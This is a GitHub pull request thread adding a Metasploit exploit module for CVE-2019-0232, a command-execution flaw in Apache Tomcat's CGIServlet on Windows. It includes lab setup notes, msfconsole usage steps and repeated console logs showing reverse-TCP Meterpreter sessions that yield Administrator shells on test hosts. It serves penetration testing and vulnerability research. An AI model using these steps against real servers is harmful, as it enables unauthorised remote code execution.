Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability #11990

wchen-r7 · 2019-06-18T20:40:13Z

Description

This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the enableCmdLineArguments setting is set to true, a remote user can abuse this to execute system commands, and gain remote code execution.

Setup

Prepare a Windows box with JDK8 on it. You also want to make sure the box has the JAVA_HOME environment variable configured. For example:

JAVA_HOME=C:\Program Files\Java\jdk1.8.0_211

To help you speed up the process, I have uploaded the actual vulnerable tomcat setup that you can use:
apache-tomcat-9.0.17.zip

To use it, simply download and extract it on the Windows machine. Go to the bin directory and execute the startup.bat file.

Note that I also created a debugging port for this tomcat on 4000, so if you want, you can attach IntelliJ and observe the tomcat internals more for analysis reasons.

The cgi script should be located at: http://IP:8080/cgi/test.bat

Verification

Start msfconsole
Use windows/http/tomcat_cgi_cmdlineargs
Set RHOSTS
Start TARGETURI (if you're using the tomcat I uploaded, it should be /cgi/test.bat)
Set a payload
Run the module, you should get a session.

Demo:

msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > check
[+] 172.16.135.141:8080 - The target is vulnerable.
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > exploit

[*] Started reverse TCP handler on 172.16.135.1:4444 
[*] Checking if 172.16.135.141 is vulnerable
[*] 172.16.135.141 seems vulnerable, what a good day.
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Sending stage (179779 bytes) to 172.16.135.141
[*] Meterpreter session 1 opened (172.16.135.1:4444 -> 172.16.135.141:52004) at 2019-06-18 15:39:42 -0500
[*] Command Stager progress - 100.02% done (100692/100668 bytes)

meterpreter > 
[!] Make sure to manually cleanup the exe generated by the exploit

modules/exploits/windows/http/tomcat_cgi_cmdlineargs.rb

documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md

h00die · 2019-06-19T01:20:23Z

I wouldn't mind taking this one,if you had someone else in mind or it was a priority feel free to replace me.
My Windows 2012 VM is missing a vmdk, so I'll have to rebuild it. Should have this done over the weekend if not sooner!

wchen-r7 · 2019-06-19T02:35:25Z

Not a priority. Please take your time. Thanks!

modules/exploits/windows/http/tomcat_cgi_cmdlineargs.rb

h00die · 2019-06-21T01:34:16Z

documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md

+* 8.5.0 to 8.5.39
+* 7.0.0 to 7.0.93
+
+Also, the machine needs to enable the enableCmdLineArguments option in web.xml. For example:


conf\web.xml (i like to wrap file names and paths in ticks)

h00die · 2019-06-24T16:27:09Z

https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/ mentions:

3. Modify the conf\context.xml file on line 19, to enable privileged context:

<Context privileged="true">

Your bundle also includes that change. I attempted exploit against my own custom install and its failing (most likely a typo or user error on my behalf), but that instruction wasn't in the docs, but is required right?

wchen-r7 · 2019-06-24T18:05:24Z

Yes I have that set to true.

h00die · 2019-06-25T00:22:16Z

Your bundle worked, still trying to figure out why my manual didn't (so the docs can be adjusted if need be)

msf5 > use exploit/windows/http/tomcat_cgi_cmdlineargs 
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set rport 8080
rport => 8080
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > show options

Module options (exploit/windows/http/tomcat_cgi_cmdlineargs):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     2.2.2.2    yes       The target address range or CIDR identifier
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI path to CGI script
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Apache Tomcat 9.0 or prior for Windows


msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set targeturi /cgi/test.bat
targeturi => /cgi/test.bat
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > run

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Checking if 2.2.2.2 is vulnerable
[*] 2.2.2.2 seems vulnerable, what a good day.
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Sending stage (179779 bytes) to 2.2.2.2
[*] Command Stager progress - 100.02% done (100692/100668 bytes)
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:49562) at 2019-06-24 20:13:03 -0400

meterpreter > 
[!] Make sure to manually cleanup the exe generated by the exploit

meterpreter > sysinfo
Computer        : WIN-SRV2012
OS              : Windows 2012 (Build 9200).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > getuid
Server username: WIN-EDKFSE5QPAB\Administrator
meterpreter > shell
Process 1272 created.
Channel 1 created.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop\apache-tomcat-9.0.17\apache-tomcat-9.0.17\bin>catalina.bat version
catalina.bat version
Using CATALINA_BASE:   "C:\Users\Administrator\Desktop\apache-tomcat-9.0.17\apache-tomcat-9.0.17"
Using CATALINA_HOME:   "C:\Users\Administrator\Desktop\apache-tomcat-9.0.17\apache-tomcat-9.0.17"
Using CATALINA_TMPDIR: "C:\Users\Administrator\Desktop\apache-tomcat-9.0.17\apache-tomcat-9.0.17\temp"
Using JRE_HOME:        "C:\Program Files\Java\jdk1.8.0_211"
Using CLASSPATH:       "C:\Users\Administrator\Desktop\apache-tomcat-9.0.17\apache-tomcat-9.0.17\bin\bootstrap.jar;C:\Users\Administrator\Desktop\apache-tomcat-9.0.17\apache-tomcat-9.0.17\bin\tomcat-juli.jar"
Server version: Apache Tomcat/9.0.17
Server built:   Mar 13 2019 15:55:27 UTC
Server number:  9.0.17.0
OS Name:        Windows Server 2012
OS Version:     6.2
Architecture:   amd64
JVM Version:    1.8.0_211-b12
JVM Vendor:     Oracle Corporation

h00die · 2019-06-25T00:47:06Z

worked on 8.5.20 as well on my server 2012 box.

msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > check
[+] 2.2.2.2:8080 - The target is vulnerable.
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > run

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Checking if 2.2.2.2 is vulnerable
[*] 2.2.2.2 seems vulnerable, what a good day.
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Sending stage (179779 bytes) to 2.2.2.2
[*] Command Stager progress - 100.02% done (100692/100668 bytes)
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49612) at 2019-06-24 20:44:45 -0400

meterpreter > 
[!] Make sure to manually cleanup the exe generated by the exploit
dir
Listing: C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\webapps\ROOT\WEB-INF\cgi
=====================================================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   0      dir   2019-06-24 20:44:19 -0400  %SystemDrive%
100777/rwxrwxrwx  73802  fil   2019-06-24 20:44:19 -0400  dKASF.exe
100777/rwxrwxrwx  67     fil   2019-06-20 21:52:49 -0400  example.bat
100777/rwxrwxrwx  69     fil   2019-06-24 15:15:13 -0400  test.bat

meterpreter > sysinfo
Computer        : WIN-EDKFSE5QPAB
OS              : Windows 2012 (Build 9200).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > getuid
Server username: WIN-EDKFSE5QPAB\Administrator
meterpreter > shell
Process 3256 created.
Channel 1 created.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\webapps\ROOT\WEB-INF\cgi>cd ..\..\..\..\bin
cd ..\..\..\..\bin

C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin>catalina.bat version
catalina.bat version
Using CATALINA_BASE:   "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20"
Using CATALINA_HOME:   "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20"
Using CATALINA_TMPDIR: "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\temp"
Using JRE_HOME:        "C:\Program Files\Java\jdk1.8.0_211"
Using CLASSPATH:       "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin\bootstrap.jar;C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin\tomcat-juli.jar"
Server version: Apache Tomcat/8.5.20
Server built:   Aug 2 2017 21:35:49 UTC
Server number:  8.5.20.0
OS Name:        Windows Server 2012
OS Version:     6.2
Architecture:   amd64
JVM Version:    1.8.0_211-b12
JVM Vendor:     Oracle Corporation

C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin>

h00die

exploit working, some minor doc cleanups

documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md

h00die · 2019-06-21T01:37:08Z

documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md

+6. Run the module, you should get a session.
+
+## Scenarios
+


### Apache Tomcat 9.0.17 with JDK 8 on Windows 10 Pro (x64)

h00die · 2019-06-21T01:37:25Z

documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md

+
+* Windows 10 Pro (x64)
+* Apache Tomcat 9.0.17
+* JDK 8


remove this addition infavor of the h3 commented above

h00die · 2019-06-21T01:37:38Z

documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md

+* Apache Tomcat 9.0.17
+* JDK 8
+
+### Check Method


add an extra #

h00die · 2019-06-21T01:37:47Z

documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md

+[+] 172.16.135.141:8080 - The target is vulnerable.
+```
+
+### Code Execution


Add an extra #

documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md

h00die · 2019-06-25T00:53:35Z

documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md

+meterpreter > 
+[!] Make sure to manually cleanup the exe generated by the exploit
+```
+


Tomcat 8.5.20 with JDK 1.8.0_211-b12 on Windows 2012 (Build 9200)

msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > check [+] 2.2.2.2:8080 - The target is vulnerable. msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > run [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Checking if 2.2.2.2 is vulnerable [*] 2.2.2.2 seems vulnerable, what a good day. [*] Command Stager progress - 6.95% done (6999/100668 bytes) [*] Command Stager progress - 13.91% done (13998/100668 bytes) [*] Command Stager progress - 20.86% done (20997/100668 bytes) [*] Command Stager progress - 27.81% done (27996/100668 bytes) [*] Command Stager progress - 34.76% done (34995/100668 bytes) [*] Command Stager progress - 41.72% done (41994/100668 bytes) [*] Command Stager progress - 48.67% done (48993/100668 bytes) [*] Command Stager progress - 55.62% done (55992/100668 bytes) [*] Command Stager progress - 62.57% done (62991/100668 bytes) [*] Command Stager progress - 69.53% done (69990/100668 bytes) [*] Command Stager progress - 76.48% done (76989/100668 bytes) [*] Command Stager progress - 83.43% done (83988/100668 bytes) [*] Command Stager progress - 90.38% done (90987/100668 bytes) [*] Command Stager progress - 97.34% done (97986/100668 bytes) [*] Sending stage (179779 bytes) to 2.2.2.2 [*] Command Stager progress - 100.02% done (100692/100668 bytes) [*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49612) at 2019-06-24 20:44:45 -0400 meterpreter > [!] Make sure to manually cleanup the exe generated by the exploit dir Listing: C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\webapps\ROOT\WEB-INF\cgi ===================================================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2019-06-24 20:44:19 -0400 %SystemDrive% 100777/rwxrwxrwx 73802 fil 2019-06-24 20:44:19 -0400 dKASF.exe 100777/rwxrwxrwx 67 fil 2019-06-20 21:52:49 -0400 example.bat 100777/rwxrwxrwx 69 fil 2019-06-24 15:15:13 -0400 test.bat meterpreter > sysinfo Computer : WIN-EDKFSE5QPAB OS : Windows 2012 (Build 9200). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 1 Meterpreter : x86/windows meterpreter > getuid Server username: WIN-EDKFSE5QPAB\Administrator meterpreter > shell Process 3256 created. Channel 1 created. Microsoft Windows [Version 6.2.9200] (c) 2012 Microsoft Corporation. All rights reserved. C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\webapps\ROOT\WEB-INF\cgi>cd ..\..\..\..\bin cd ..\..\..\..\bin C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin>catalina.bat version catalina.bat version Using CATALINA_BASE: "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20" Using CATALINA_HOME: "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20" Using CATALINA_TMPDIR: "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\temp" Using JRE_HOME: "C:\Program Files\Java\jdk1.8.0_211" Using CLASSPATH: "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin\bootstrap.jar;C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin\tomcat-juli.jar" Server version: Apache Tomcat/8.5.20 Server built: Aug 2 2017 21:35:49 UTC Server number: 8.5.20.0 OS Name: Windows Server 2012 OS Version: 6.2 Architecture: amd64 JVM Version: 1.8.0_211-b12 JVM Vendor: Oracle Corporation C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin>

modules/exploits/windows/http/tomcat_cgi_cmdlineargs.rb

wchen-r7 · 2019-06-25T14:01:31Z

Ok. Awesome. I'll make the changes today. Thanks for testing!

h00die · 2019-06-29T00:41:28Z

There's a few minor doc things, but honestly it'll take me less time to change it when landing. Should be able to wrap this up over the weekend!

h00die · 2019-07-01T21:41:11Z

Release Notes

This PR adds an exploit for Apache Tomcat on Windows when the cmdlineargs is configured (non-default)

wchen-r7 added 2 commits June 18, 2019 15:28

Add exploit for CVE-2019-0232: Apache Tomcat CGIServlet RCE

585a434

Add doc for CVE-2019-0232

4a32164

wchen-r7 added module docs labels Jun 18, 2019

timwr reviewed Jun 18, 2019

View reviewed changes

modules/exploits/windows/http/tomcat_cgi_cmdlineargs.rb Outdated Show resolved Hide resolved

Fix typos

16cfd3f

h00die reviewed Jun 19, 2019

View reviewed changes

documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md Show resolved Hide resolved

h00die self-assigned this Jun 19, 2019

update doc

0cec80b

jrobles-r7 reviewed Jun 19, 2019

View reviewed changes

modules/exploits/windows/http/tomcat_cgi_cmdlineargs.rb Show resolved Hide resolved

modules/exploits/windows/http/tomcat_cgi_cmdlineargs.rb Show resolved Hide resolved

h00die reviewed Jun 21, 2019

View reviewed changes

h00die requested changes Jun 25, 2019

View reviewed changes

wchen-r7 added 2 commits June 25, 2019 17:13

Allow check in exploit to be optional

2fb129a

Update documentation

b59fd43

h00die merged commit b59fd43 into rapid7:master Jul 1, 2019

h00die added a commit that referenced this pull request Jul 1, 2019

land #11990 windows tomcat cmdlinearguments

a42c7ea

jmartin-tech pushed a commit that referenced this pull request Jul 23, 2019

land #11990 windows tomcat cmdlinearguments

fc94f86

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability #11990

Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability #11990

wchen-r7 commented Jun 18, 2019 •

edited

Loading

h00die commented Jun 19, 2019

wchen-r7 commented Jun 19, 2019

h00die Jun 21, 2019 •

edited

Loading

h00die commented Jun 24, 2019

wchen-r7 commented Jun 24, 2019

h00die commented Jun 25, 2019 •

edited

Loading

h00die commented Jun 25, 2019

h00die left a comment

h00die Jun 21, 2019

h00die Jun 21, 2019

h00die Jun 21, 2019

h00die Jun 21, 2019

h00die Jun 25, 2019

wchen-r7 commented Jun 25, 2019

h00die commented Jun 29, 2019

h00die commented Jul 1, 2019

Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability #11990

Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability #11990

Conversation

wchen-r7 commented Jun 18, 2019 • edited Loading

Description

Setup

Verification

Demo:

h00die commented Jun 19, 2019

wchen-r7 commented Jun 19, 2019

h00die Jun 21, 2019 • edited Loading

Choose a reason for hiding this comment

h00die commented Jun 24, 2019

wchen-r7 commented Jun 24, 2019

h00die commented Jun 25, 2019 • edited Loading

h00die commented Jun 25, 2019

h00die left a comment

Choose a reason for hiding this comment

h00die Jun 21, 2019

Choose a reason for hiding this comment

h00die Jun 21, 2019

Choose a reason for hiding this comment

h00die Jun 21, 2019

Choose a reason for hiding this comment

h00die Jun 21, 2019

Choose a reason for hiding this comment

h00die Jun 25, 2019

Choose a reason for hiding this comment

Tomcat 8.5.20 with JDK 1.8.0_211-b12 on Windows 2012 (Build 9200)

wchen-r7 commented Jun 25, 2019

h00die commented Jun 29, 2019

h00die commented Jul 1, 2019

Release Notes

wchen-r7 commented Jun 18, 2019 •

edited

Loading

h00die Jun 21, 2019 •

edited

Loading

h00die commented Jun 25, 2019 •

edited

Loading